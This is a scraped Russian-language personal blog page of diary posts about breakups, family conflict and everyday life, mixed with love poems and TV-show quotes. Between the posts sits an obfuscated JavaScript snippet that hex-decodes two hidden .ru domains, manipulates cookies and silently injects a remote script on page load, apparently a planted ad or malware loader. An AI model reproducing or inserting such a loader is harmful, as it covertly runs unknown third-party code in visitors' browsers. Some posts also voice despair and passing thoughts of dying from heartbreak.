Вьюи нужна помощь! [UPD 31.03.2021 05:10]

Все так же тоскливо, все так же хреново.
Мы были родными - сейчас незнакомы.
Все так изменилось, мне нет уже дела,
Сначала все снилось, была на пределе.
Сейчас же попроще, но так одиноко,
Вроде забила, а вроде и плохо.
Мы очень любили, но все изменилось.
Чувства остыли, сердце разбилось.

gifs by х

Эдди Тоун | Флэш 1х23

— Эдди, что ты сделал?! ЭДДИ?!! ЧТО ТЫ СДЕЛАЛ?!!
— Совпадений не бывает.
— Эдди его предок. Если Эдди умрет, тот никогда не родится и будет
стёрт из существования.

ненавижу сценаристов. это же просто… в общем, пойду в уголочке порыдаю Т_Т

gifs by х

Эдди Тоун | Флэш

— Всё таки он ошибался. В итоге я оказался героем.…Лишь об этом и
мечтал - быть твоим героем .

самый милейший парень. и почему с такими всегда случается самое худшее?!! я буду за ним скучать.

Человек должен хоть раз в жизни оказаться в кромешной глуши, чтобы физически испытать одиночество, пусть даже задыхаясь при этом от скуки. Почувствовать, как это - зависеть исключительно от себя самого, и в конце концов познать свою суть и обрести силу, ранее неведомую.

я мечтала, что ты вернешься, я почти что сошла с ума.
я всегда выбирала прошлое - и не знала, зачем жила.
я хочу рассказать, как больно отпускать то, что не твое.
и что сыплют на раны солью те, кто боли не признает.
за тебя я молилась, глупо разбивая колени в кровь.


ты всегда заходил без стука,

ты всегда уходил без слов

Вдруг решила обновить мебель у себя в комнате. Надоело все. Комната маленткая а заставлена всем, что места совсем не остается. Хочу выкинуть огромный угловой стол вместе с компом, купить ноут себе и маленький столик, выкинуть библиотеку, которая занимает пол комнаты. В общем решала поменять свою жизнь во всех смыслах

залезть ночью в ледяной бассейн? без проблем! разбить коленку, пока бежишь переодеваться? сделано! уломать шашлычника из соседней кафешки разжечь нам мангал? легко! вечер в чисто ижевской компании прошел на "ура". смею надеяться, что фотоаппарат, несмотря на улыбающиеся коньяком глаза, сделал хотя бы пару снимков этого светлого вечера.

Отлично погуляли, прям ног не чувствую. Насмеялась я, наверное, на год вперед. А остальное останется за кадром) expelliarmus спасибо тебе ещё раз)))

gifs by х

The Flash | "Fast Enough" 1x23

ааааа, я досмотрела Флэша. и я хочу еще. нечестно так заканчивать на самом интересном. да еще и с убийством любимого персонажа. ну почему Эдди?!!! я в печали с этого. эх, и второй сезон еще столько ждать….

Представь, что ты журналист. Тебе надо написать список вопросов для интервью. Интервью ты будешь брать у себя. Напиши не менее 10 вопросов к себе.

1. Что заставляет вас чувствовать себя счастливым?

2. Что для вас любовь?

3. В какой стране вам бы хотелось жить?

4. Самое важное в жизни это…?

5. Кем бы вы хотели быть в прошлой жизни?

6. В чем суть гармонийных отношений?

7. Если бы в мире была всего одна книга, какая это книга?

8. Любимая цитата?

9. Если бы была возможность выбрать вторую профессию, какую выбрали б вы?

10. Когда можно назвать человека Человеком?

Привет. Я вот только вернулась из деревни. уехала в вот в эту субботу, вернулась сегодня. я бы еще осталась, но цивилизация манит меня своими благами. Конечно, все гладко не может быть и нам с бабушкой в последний день, то есть сегодня, подгадили настроение родственники. Это все слишком долго и не интересно объяснять, скажу лишь, что родственники, особенно настолько близкие, так друг с другом не поступают. Это свинство какое-то. Да и пес с ними! Бог им судья! и вот вернувшись домой, я не знаю чем мне заниматься. Уж вроде бы и на учебу бы пошла. Может быть еще как-нибудь в деревню съезжу. Хотелось бы еще на "Человека-муравья" сходить. Надеюсь, получится.

Уже начало 12 а я только пришла домой с работы. Ушла полностью в нее, чтобв не думать о нем. Я счастлива. У меня любимая работа, люди на ней за такой короткий срок стали уже родными что ли (со мноц работают девченки которым еще и 25 нет), поэтому мы легко находим общий язык, шутим, смеемся. А он пускай гонится за деньгами. А в хочу держаться подальше от этого лицемерия.

вот я тут осознала, что всем бабам нужна какая-то драма в жизни

вот вроде все нормально, ничего не происходит, такая некая стабильность в жизни, обыденность

но неееет

нам спокойно не живется

надо напридумывать всякой хуеты, залезть куда поглубже в прошлое и сидеть над этим корячиться и ныть

в топку!

дорогие дамы, живите настоящим и радуйтесь тому, что имеете

или кого

а прошлое пускай там и остается

в прошлом



Сэм: У меня теория. Врач утверждает, что рана зашита шелком.

Дин: Чудно.
Сэм: В наши дни — да, а вот в начале 19 века шелковые нити пользовались успехом у хирургов. В те времена пациенты мёрли от инфекций, как мухи!
Дин: Кошмар!
Сэм: Точно! Так вот, врачи боролись с заражением, в том числе, использую опарышей.
Дин: Сэм, я ем…
Сэм: Опарыши ведь поедают отмершую ткань, но не трогают здоровую. Так вот, у нашего приятеля брюшная полость оказалась забита червями!
Дин: Сэм! Я ем!

подстригла волосы, вышло слишком коротко. сначала подрасстроилась, а потом плюнула - вырастут ведь! к тому же десять лет с длинными ходила, надо же хоть так попробовать. завтра едем на море, представляю, что начнется, когда все увидят. "тебе было лучше с длинными", "посмотри у Алины какая красота!" и кокококо…

мои волосы, что хочу, то и делаю.

возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьмивозьми себя в руки, возьми себя в руки, себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки,

ты не хуже остальных

очень боюсь оказаться простушкой в глазах А. не хочу даже отбивать всех его телок, либо только я, либо пока. не собираюсь стоять в очереди за ним, и ждать когда он освободится, чтоб на некоторое время заполнять его свободное время
я хочу, чтобы меня любили

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="19416", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Пост про "Когда теряешь любимого человека это смерть и эту смерть надо пережить". Там мы еще вместе были, как смешно с себя. Дура. До сих пор умираю. Делаю вид что жива, что живу, что стараюсь жить. На самом деле уже нет.

после того, как первый раз я занялась сексом, сделала лишь один вывод: надо спать с тем, от кого как минимум хочешь ребенка.

Помню, как школьный трудовик сказал нам: "Жизнь — это вам… не это". И знаете, с тех пор ни одна философская система не смогла опровергнуть эту гармоничную концепцию.

Смотришь фотографии — какой хороший человек. Встречаешь в жизни — мразь. Один и тот же человек, кто бы мог подумать.

«Так а нахуя ты продолжаешь эту хуйню?» — прогремел философский вой с улицы, заставивший меня в смятении привстать на секунду с дивана.

Хочу такого покемона, который бы за меня ходил на работу, я не знаю, Трудягон какой-нибудь. С эволюцией в Начальникона и Гендирона.

Это раньше приходилось вырывать себе сердце, чтобы осветить людям путь. Сейчас всем достаточно света от экрана смартфона.

My Pale Skin - "You look disgusting"

"Ты выглядишь отвратительно"

"Пользователь YouTube, скрывающаяся под ником My Pale Skin ["Моя бледная кожа"], несколько месяцев назад начала публиковать в социальных сетях собственные фотографии без макияжа, и за это время успела получить десятки не самых позитивных комментариев. Она собрала их в одном ролике с тем, чтобы продемонстрировать, как ложные образы совершенства и нереалистичные стандарты красоты могут навредить самооценке человека. Ее цель довольно проста и прозрачна — показать, что ненавистники всегда найдут повод ненавидеть. До тех пор, пока вы любите себя, ничто другое не имеет значения. "

Это видео произвело на меня сильнейшее впечатление. Я просто плачу. У меня тоже проблемы с кожей и я несколько лет не могу избавиться от этого. Очень выбешивает, когда тебе советуют какие-то маски, средства от прыщей, и ты говоришь, что уже пользовался этим, но оно не помогает. Но людям все равно на это. В нашем обществе принято вешать ярлык на человека по внешнему признаку. " Уродливый ", " отвратительный ", " некрасивый ", " толстый " … Все это - лишь оболочка. Но никто никогда не посмотрит тебе в душу. По-этому нужно научиться любить себя таким, какой ты есть.

ТЫ ВЫГЛЯДИШЬ КРАСИВО КРАСИВАЯ (-ЫЙ)

видео (x)

Было бы интересно почитать ваше мнение об этом видео. Буду рада увидеть ваши комментарии :)

Желаю вам полюбить себя, если вы этого еще не сделали!
♥ спасибо ♥

На самом деле я неплохо съездила. В первые дни Нижний Новгород совсем не радовал погодой. Дождь, холод.

Зато последние дни были более или менее солнечными.

Ну и набережная Йошкар-Олы, как всегда.

Instagram

Ask

в одни уши вливается вода с калюжи
ты говори, а я буду слушать
вяжут рты Одессы мосты
если сегодня, опять, никого не послушав
сквозь дым различаю ходы
-то
виноват
ты
если три сигареты за день- это не шалость
в ночь до утра ждать до рассвета
правду о том -"засыпаешь?" и "где ты? "
мысленно в скулы твои и подолгу
" я бы осталась, я бы осталась.. "
standing by your side
видно сегодня от моей мечты
все меньше осталось
но если сегодня мы бы расстались
я бы шептала i will be there
неважно ли против
anyway
anyway
anyway wiil be there

Пиздец, с утра папа истерики закатывал, сейчас мама начала. Что за хуйня? Воспитывать меня надо было до 12 лет, а вы бухали и все, о чем думали - гулянки. А теперь я уже все. Теперь гулянки ждут меня. И так долго они длиться не будут. Мои дети не будут лицезреть меня бухой ежедневно.

Хотя вообще не хочу детей. Хочу быть вечно одна, чтобы никто не доебывал.

Мне однозначно нужно появляться здесь почаще. Ведь я собираюсь заняться самоанализом, изучать свои ошибки, разобраться в запутанных нитях, которые просто обволакивают мою светлую голову и душу. А в общем хочу оживить своё родное местечко. Я люблю писать о своих чувствах, о своей жизни. Такая вот маленькая история маленькой жизни. Не хочу делать длиннопост. Пускай тот провал так и останется ямой. Не хочу этому уделять время, лучше двигаться вперёд. Что самое главное - я остаюсь дома, буду учиться здесь. Ездили с парнем в другие города, хотела там сдавать творческий конкурс. Но я забыла одну "важную" бумажку, без которой мне "нельзя" рисовать и поступать. Странная комиссия там, довольно. Не понимают, что человек приехал к ним так далеко, ради этого места, где, как оказалось, кроме задницы ничего и не могут показать. Мои нервы сдали и я плюнула на всю эту контору и вернулась. Вернулась совсем другим человеком. А это всего лишь два дня прошло. Вот как простая поездка может всё перевернуть. Но я рада такому повороту событий. Очень-очень рада.

Комары нынче шустрые пошли. Пока я замахнусь, они уже выпьют моей крови и смотаются подальше.

Люди, словно комары.

блять, так страшно. так страшно, что я не смогу больше полюбить человека хотя бы настолько, чтобы сблизиться с ним. ебаная моногамность.

меня конечно жизнь ебала и ебет по сей день, но видимо не достаточно, чтобы слушать песни Максим- трудный возраст

Пока любишь кого-то всем сердцем, — в твоей жизни еще остается надежда. Даже если вам не суждено быть вместе. Харуки Мураками "1Q84"

Так тошно от того, что я всё так же скучаю по тому времени. По времени когда мы дружили. По тем каждодневным перепискам… Хотя, может я просто скучаю "по дружбе"? Просто по дружбе с кем-то, потому что её попросту нет. Мне некому написать, что Гага уже не та, какие клёвые басаножки я сегодня видела на девушке, да чёрт побери, просто написать о какой-нибудь херне. Прям хочется плакать от этой безнадёги, уткнувшись в подушку орать

Привет.

С момента как вернулась домой прошел месяц. Прошлый пост был постом дикой ненависти к себе. Иногда требуется скинуть личины, вывернуться наизнанку и сказать себе - " Я вижу тебя настоящего ". Обдумать это. Менять. Менять - это то, что действительно требуется, но вот, работать над этим - это то, что предстоит и то что будет. Т.е. результат видится как уменьшение отрицательных черт моего характера. Работа над последствиями этих черт.

Всё это появилось в следствие того, что меня не устраивает то, что я ему просто друг. Дело в следующем, как я уже говорила, я безумно счастлива нашей дружбе. Я знаю, что случается если мы заводим разговор о " Нас ", как о чем-то большем и именно эта его неловкость в такие моменты режет по мне, угнетает. Я начинаю думать, что я неблагодарная, эгоистичная.

Что будет итогом, на самом деле, при отказе от, так называемых, отрицательных черт? Разлюблю. Я действительно этого хочу? Стоп, почему разлюбить? Потому что мне так будет проще. Его ведь никто не посвящает в пиздастрадания, хоть он и умный мальчик и может их уловить, но всё же. Я не могу до конца отказаться от него и из-за этого считаю, что моё эго овер 8000.

Другая сторона. Он загоняется зная, что ему уготовлено. Он однолюб. Бывшую мы вспоминали в этом месяце три раза. За полтора года общения до этого - один. Но после вчерашнего разговора я четко нащупала маску. Он пустил. Я стала ближе и знаю больше о нём, тут появились корыстные помыслы для себя. Я не могу просто взять его и отпустить. Кто-то внутри меня орёт, что он - это моё. Помыслы такие - развеять миф о судьбе. Отогреть. Создать условия, когда он сможет разрешить себе быть счастливым. Именно разрешить. Его счастье делает меня счастливой. То что предполагает он для себя - его самого не радует, он просто верит в то, что это неотвратимо и закрывается ото всех, упускает жизнь, думая о том, к чему придёт.

Если я отпущу его, то я его убью. Даже если он ошибается, я готова играть по его правилам, потому что есть страх потерять его навсегда.

Я тоже вижу противоречия самой себе. Я просто запуталась и мне нужно ещё раз подумать обо всём.


Есть у меня одно воспоминание, ему лет десять Порой, когда я этого совсем не жду, оно впечатывается в мои мысли и колом перед глазами встаёт

Много думаю в последнее время о следах, которые оставляют людив жизнях других, если вообще оставляют. И почему одни оставляют, а другие нет. Моя коллекция таких следов довольно разнообразна. Кто-то вошел ненадолго и заставил сменить мировоззрение. Кто-то оставил после себя три-четыре музыкальных композиции. Или два-три слова, которые стали своими. Или чемодан. Кто-то изменял так, что навсегда научил быть верной. А кто-то так объяснял любовь, что, даже любя, не захочется говорить это слово вслух, настолько оно теперь испорчено. Кому-то спасибо, что был, кому-то спасибо, что больше нет. А кто-то исчез как не было, и ни слов нет про это, ни сожаления. Удивительно.

Уже темно, и ручку я беру,
чтоб записать, что ощущаю вялость,
что море было смирным поутру,
но к вечеру опять разбушевалось.

Иосиф Александрович Бродский

Самое ужасное, что живу вечно ожиданием воскресенья, потому что у кое-кого выходной. И так неделя за неделей. Меня так всё это заебало, что порой хочется послать всё нахуй. Но, нельзя, нужно быть сильной. Нужно просто переждать.

Какая-то депрессулька вновь пришла в мою жизнь, хочется просто пропасть куда-то, чтоб не трогал никто. Не хочу никому писать и отвечать.

фотография, бессердечная ты стерва. порой взглянешь на изображения фотографические человеческого лица да тела, а они и не вызывают никаких тебе приятных чувств, однако в жизни и не нарадуешься какая привлекательная внешность.

Відпускайте усіх хто йде з вашого життя. Зазвичай, коли ми чуємо ці слова то думаємо « як легко говорити »…. Але знаєте, що я вам скажу, насправді це так само легко зробити, як і говорити. Живіть з принципом не затримувати у житті тих людей, які у ньому бути не хочуть. Повірте, якщо людина не робить крок назустріч до вас, вона просто не хоче цього. Скільки б ви не намагалися, що не робили б. Це істина. А чи хочете ви боротися за когось, кому це не потрібно? Адже, навколо вас є люди, які вас люблять та потребуть. А ті хто мають бути вони будуть! Кожна істина проста, так само як і правда. Навчіться приймати ситуацію такою, яка вона є, не живіть в очікуванні чи тримаючись за когось… відпустіть, і тоді ви почнете жити у гармонії з собою та оточуючими, відпустіть… і тоді дійсно ваше – буде з вами.

Когда я начал любить себя…

▫ Когда я начал любить себя, я понял, что тоска и страдания – это только предупредительные сигналы о том, что я живу против своей собственной истинности.

▫ Когда я начал любить себя, я понял, как сильно можно обидеть кого-то, если навязывать ему исполнение его же собственных желаний, когда время еще не подошло, и человек еще не готов, и этот человек – я сам.

▫ Когда я начал любить себя, я перестал стремиться к другой жизни, и вдруг увидел, что всё, что окружает меня, приглашает меня расти.

▫ Когда я начал любить себя, я понял, что при любых обстоятельствах я нахожусь в правильном месте в правильное время, и все происходит исключительно в нужный момент, поэтому я могу быть спокоен.

▫ Когда я начал любить себя, я перестал красть свое собственное время и проектировать грандиозные проекты на будущее. Сегодня я делаю только то, что приносит мне радость и счастье, то, что я люблю делать и что приводит мое сердце в радостное настроение.

▫ Когда я начал любить себя, я освободился от всего, что приносит вред моему здоровью – пищи, людей, вещей, ситуаций. Всего, что тянуло меня вниз и уводило прочь от себя.

▫ Когда я начал любить себя, я прекратил пытаться всегда быть правым, и с тех пор я ошибаюсь меньше.

▫ Когда я начал любить себя, я прекратил жить прошлым и беспокоиться о будущем. Сегодня я живу только настоящим моментом, в котором все происходит.

▫ Когда я начал любить себя, я осознал, что ум мой может расстраивать меня, и что от этого можно заболеть. Но когда я объединил его с моим сердцем, мой разум стал моим ценным союзником.

Чарли Чаплин

и в определенный момент ты понимаешь, что не представляешь каким будет жизнь без него. Вернее представление приходит. И ты чувствуешь всю адову тонну боли и одиночества. И думаешь, что не сможешь после этого пустить в сердце еще кого-нибудь. И уже жалеешь что пустил.

неужели трудно стать ненадолго честным
не прятать слова
и не молчать

я все равно считаю его чудесным
и обязательно
буду прощать

мой город пахнет небом и тобой
туманом не~случившихся желаний
а мне сегодня быть с собой
о д н о й
без всяких *банутых оправданий
без слез
скандалов
криков
и измен
шататься средь безликой серой массы
в прозрачной красной юбке до колен
и с чувственной помадой ярко-красной
билет до Магадана
не ищи
я завтра поменяю свой мобильный
ты был конечно лучшим из мужчин
которых я любила
очень
сильно

а тебе все равно, все равно, все равно…
ты же твердо решила. и очень давно.
ты решила еще это в прошлый четверг,
что не любишь ничуть, он – не твой человек.
и неважно, не важно, не важно совсем,
что он делает там, где он, как он и с кем…
получил наконец свои горе-права?
помогла хоть от кашля ему та трава?
что он ел на обед? сдал в химчистку пальто?
дочитал твою книгу уже или что…
а тебе наплевать, наплевать, наплевать,
топят как? укрывает ли пледом кровать?
или тоненьким тем одеялом одним?
нет, вдвоем вам не холодно было под ним…
только зябко сегодня. и ветер сырой.
не надел ли хоть свитер тот, серый, с дырой,
шерстяной, что зашить не успела тогда…
как теперь? ведь замерзнет. простынет… беда!
пусть бы ел на ночь мед. пил малиновый чай.
вспоминал только изредка – так, невзначай…
и храни его бог там!.. ведь ясно одно:
ты же твердо решила… тебе – все равно…

Люблю тебя без права на любовь,
Без права на звонок и переписку,
Без права потревожить твой покой,
Когда ты спишь или читаешь книжку…

Без права называть себя женой,
Без права засыпать в твоей постели…
Я даже научилась БЫТЬ ВТОРОЙ,
Свои амбиции поставив на колени…

Я научилась твоей жизнью жить,
Без права быть её весомой частью…
А может…нам всё круто изменить,
Стать ''кузнецами'' своего же счастья?!

Как восхитительно мечтать в таком ключе!
Я беззаботная весёлая девчонка!
Желаю полностью принадлежать ТЕБЕ!
Носить под сердцем твоего ребёнка!..

…Вздохнём…задум­аемся…каждый о своём…
Реальность жёстко вносит коррективы…
Законного нет права на любовь…
А РАЗЛЮБИТЬ ТЕБЯ ЗЕМНОЙ НЕ ХВАТИТ СИЛЫ!!!

пора бы закончить этот психоделический бред
прекратить череду по тебе истерик
смыть косметику,
успокоиться и сказать себе:
девочка, это глупо так бесконечно в кого-то верить.

милая девочка спит на твоей подушке,
ей до безумия хочется быть с тобой,
только не знает, глупая, что за ушком
я у тебя оставляю свои веснушки
и они ночью складываются в татушку
" мой. навсегда. безнадежно мой"

Взяла сегодня книгу почитать "Гранатовый браслет" Куприна. Уже начала, ну довольно таки интересно. Хотела у вас спросить, а что читаете вы? Посоветуйте, а то я чувствую мой мозг скоро перестанет мыслить, надо его напрячь!

на фотографиях где-то годичной давности,
нам не найти себя, посреди зимы
в Небе случились странные неисправности:
бог нас сломал
или сломались мы?

я поджигал ей свечи, когда она спала.
и ненавидел рок, но Сплин был на повторе.
я ненавистник лжи, но всё же мне врала,
а я лишь молча слушал в коридоре.
и в семь утра варила мне овсянку
(я так любил изгиб её ключиц!..)
она обычная. но я весь наизнанку
от взгляда из-под бархатных ресниц
я так любил, что воздух был ментолом
и обжигал артерии в груди
но задохнулся я. и ссохлось моё море,
когда она решила вдруг уйти.

уже тысячи тысяч месяцев
столь бездарно играю в пьесе я.
каждый день выживаю заново.
ем, готовлю, боюсь экзаменов.

и порою мне просто не верится,
что тебя я держала за руку

не напишу ни одного сообщения, если напишу - сотру.
кажется, я тебя разлюбила, в среду, поутру.
когда снег хрустел под ногами, я случайно так поняла -
я слишком долго терпела и не понятно чего ждала.

иногда ты снишься, и это - злое начало дня.
иногда ты пишешь: издалека, безлично и
не всерьез, возвращаешь­ся.
и каждый твой поворот - на шее у меня петля.
к чему же тогда задавать вопрос -
" как ты тут без меня ?".

Ты не подаришь мне больше лилий,

Что бы замазать свои грехи.

Вероятно, она красивей,

А я просто пишу стихи.

Вероятно она стройнее,

Или выше - не в этом суть.

Уходи - раз тебе с ней светлее,

А я справлюсь уж как-нибудь.

я к тебе уже не приеду.
ты, наверное, слишком остывший
я просто до сих пор так надеюсь,
что ты без меня не дышишь

и билеты отдам я обратно.
ты меня никогда не увидишь
ни вчера, ни сегодня, ни завтра
я люблю, но порой ненавижу

Я уже давно хотела написать о том, что «Ура, я теперь бакалавр!» .

В день получения диплома меня переполняли эмоции. Конечно, это не сравнится с окончанием школы, нет. В университете я страдала всего 4 года, а не 11. Но было радостно ощущать себя выпускницей и пытаться осознать что я теперь, прости господи, юрист.

А вот теперь я печатаю и думаю – а чему радоваться-то? Но это, на самом деле, не пост уныния. И я не буду тут размышлять на тему, что теперь мне прямая дорога в МакДак. Потому что надеюсь, все-таки, что нет. Хотя и юристом я себя совсем не вижу.

Просто хотелось похвастаться тем, что еще вот совсем немного, полтора года (чертова магистратура), и Добби будет полностью свободен!)

На расстоянии быть нельзя. Просто нельзя. Потому что необходимо, чтоб тебя целовали во сне. Жизненно необходимо. Никакое "спокойной ночи, любимая" по смс не заменит поцелуя в спину перед сном. Никакое.

и так по-женски спуститься низко,
и так по-детски бояться крови.
какой ты нахуй родной и близкий,
когда калечишь на каждом слове?

ты прячешь руки в карманы.
я знаю - холодные пальцы.
смотрю и не понимаю,
спасать тебя или спасаться.

бессонницей дрогнули веки.
скрываешь застывшие взгляды.
молчишь, улыбаешься редко.
- мне легче, когда ты рядом.

для тебя - поезда под откосы.
одиночество - вечный срок.
это страшно, когда тебя просто
в целом мире никто не ждёт.

я больше не хочу никого. я боюсь. знаю, чем все закончится. тем, что я буду брошена, не просто "мы расстались", а выброшена. тем, что я буду, как сейчас, реветь, в темноте, тихо - тихо, чтобы никто не слышал. тем, что внутри будет жуткая боль, такая, что реально захочется убиться - просто терпеть невозможно. а потом все эти кусочки себя опять собирать… двое - это уже много. мне больше не нужно.

— Если у тебя есть друзья, значит, есть и семья.

— Моя последняя теория? Возможно, я Бог. Я слишком долго не обращал внимания на знаки.

— Это называется химия. И она у меня со всеми.

— Я огромный, а уровень сахара в моей крови на нуле. Я убью тебя в этих фрисби, и никто никогда не сможет тебя найти.

— Я не выдвигал себя на роль лидера, Трой. Я без особого желания принял эту, повешенную на меня, обазанность.

у меня есть привычка вертеть ключи,
поправлять свои кольца, молчать словами.
у тебя - принимать затяжные ванны,
уходить, не дослушав и без причин.

год назад мы впервые поцеловались.
ты - единственный памятный из мужчин.

я в критическом состоянии
кома.
душевный инсульт.
вот до чего доводят скучания
вот где теряется пульт.
вот на каком промежутке времени
нервным клеткам стало плевать
здесь потерялся пульт управления
нервы хотят умирать.

вот на какой обожженной местности
взгляд опустел и потух
мне наплевать на степень честности
чье стадо вы?
кто ваш пастух?

именно в этой стадии смертности
внутренний бой
угас
не кому биться
внутри пора бедности
жаль, ты меня не спас.

момент, когда записываешь очередную песню, прослушиваешь ее в наушниках в попытках не сойти с ума от ужаса качества звука и голоса, и наушники окончально ломаются

Я одна из тех кто заболел летом..Объясните мне ка?ну как блять можно заболеть в 40 градусную жару, а вот как..На улице стояла адская жара по 40 градусов и так уже продолжалось почти неделю..Ни намека на дождь или на уменьшение температуры не было.Ну и вот я решила спасать себя как только можно и в один из таких дней я решила побаловать себя мороженкой.Моему счастью не было предела(так сижу на диете и о сладостях вообще речи быть не может), но все поменялось же на следующий день.Прснувшись этак часов в 6 утра от дикой головной боли я поняла, что помимо нее у меня заложен нос и болит горло.Я еле соскребла себя с постели, но в скоре поняла что у меня дикая слабость и единственное что я смогла сделать это дотащить свое тело до туалета и вернутся обратно в кровать.Весь день пролежала овощем, так как сил не было вообще не для чего..Спасибо моему младшему брату, что не дал умереть с голода старшей сестре..Подведем итоги.Сейчас все мои знакомые ездят на речку, гуляют и веселятся, а я лежу в постеле, наматываю сопли на кулак, пью лекарства и вспоминаю это мороженое..

Сей поцелуй, дарованный тобой, преследует моё воображенье: и в шуме дня, и в тишине ночной я чувствую его напечатленье! Сойдёт ли сон и взор сомкнёт ли мой, - мне снишься ты, мне снится наслажденье! Обман исчез, нет счатья! И со мной

одна любовь, одно изниможенье.

через 5 дней мое день рождение и Я хочу чтобы все сложилось оочень удачно в этот день, чтобы все кого я хочу пришли, чтобы моя подруга все таки смогла выпить(хотя понимаю что ей нельзя), чтобы всем было весело, чтобы еды всем хватило :D в том числе шашлыка))) ), чтобы я смогла купить к нему все что планирую, чтобы была хорошая погода и никакой дождь и ниже +20 градусов не испортили этот день. короче я хочу чтобы все было в самом лучшем виде:3

Не понимаю парней, что говорят "Смотри какая соска!".

Я понимаю, что имеется ввиду то, что она член сосет. Но если подумать, то не девушки соски, а вы и я. Потому как они нас сосут.

Так что в лучшем случае соской выступают именно парни, в худшем случае минетики им не делают.

когда ты придешь, конечно, я буду ждать.
откроется сердце, и примет тебя любого.
я все беспокоюсь: что мне тебе сказать?
какое из тысячи слов мне придумать слово?

когда ты придешь, я с прошлым закрою счет,
и память сведет на нет все былые лица.
я все представляю: ты стоишь у ворот,
не в силах, сдержав волненье, пошевелиться.

когда ты придешь, свет уличных фонарей
осветит порог, засыпанный белой вьюгой.
я все размышляю: в какую из всех дверей
ты не постучишь, а смело войдешь без стука.

я знаю: своих встречают лишь те, кто ждут.
и я не устану ждать тебя снова и снова.
когда ты придешь, конечно, я буду тут,
откроется сердце, и примет тебя любого.

когда в следующий раз
ты будешь искать мне замену,
планировать измену,
плести интриг паутину,
знай -
это начало конца.
лучше сразу мне выстрели в спину,
чтобы я не видела
твоего лица.

не бывает случайных знакомств в интернете,
и в супермаркетах аварий тележками тоже.
нет случайности на третьей от солнца планете,
это все нужно было кому-то, похоже.

человек - это кадр из фильма магии судеб,
тот, кто захочет понять - тот поймёт.
если поезд должен прибыть - он прибудет,
тот кто должен уйти - тот уйдёт.

забавно смотреть на попытки сломать мой панцирь,
попытки согреть.
/всё равно уже не согреют/.
не надо стучаться. ты нагло
зайди в мой карцер,
и я непременно
кинусь
тебе
на шею.
джины на дне всех бутылок
когда-нибудь кончатся.
так что пей и загадывай.
чего тебе хочется?
у меня 39
анальгин как религия.
и я не хочу знать
где и с кем тебя видели.

ладно, ладно, всё настолько странно, что это просто так не описать словами. сегодня наконец-то смогла выспаться, хотя, когда проснулась, была жутко опухшей. целый день проходила в таком состоянии. это немного жесть, но я рада, что провела этот день именно так. думаю, что теперь опять пора заняться какими-нибудь делами. не знаю, что будет на этот раз, но явно что-нибудь интересное. ещё хочу полностью обновить свой гардероб, ибо практически все мои вещи Настя уже переносила, а мне это совершенно не нравится. так вот, я уже примерно знаю, какие вещи я очень хочу, некоторые из них хочу заказать с али, поэтому жду, когда мы с Аней пойдём на работу, вернее просто раздавать листовки. хотя бы так, зато деньги будут.

отношения с людьми - странный предмет. потому что люди, они сами по себе странные. один раз делают одно, в другой раз другое. интересно, как всё будет происходить дальше, но надо запомнить одно: никогда не рассказывай людям что-то личное , ибо потом будешь жалеть, что доверилась им. поэтому сейчас надо снижать рассказы про свою жизнь на минимум. но по сути некому и рассказывать. сейчас же со мной остались всего лишь пару человек. но всё же, самым дорогим и понимающим остаётся один человек. и ещё один человек на подхвате. в общем, реально, пора завязывать с людьми, хотя бы на лето. потому что в универе надо быть наоборот более открытой, я так думаю. а если не получится, то нафиг надо вообще? пока у тебя есть люди, которых ты любишь и которые любят тебя, остальное не имеет смысла. очень рада, что такие люди всё же есть в моей жизни.

ш spend my money on the regular miracles, just like you, like me, like everybody else. up on the sun looking sad and beautiful, just like you, like me, like everybody else.

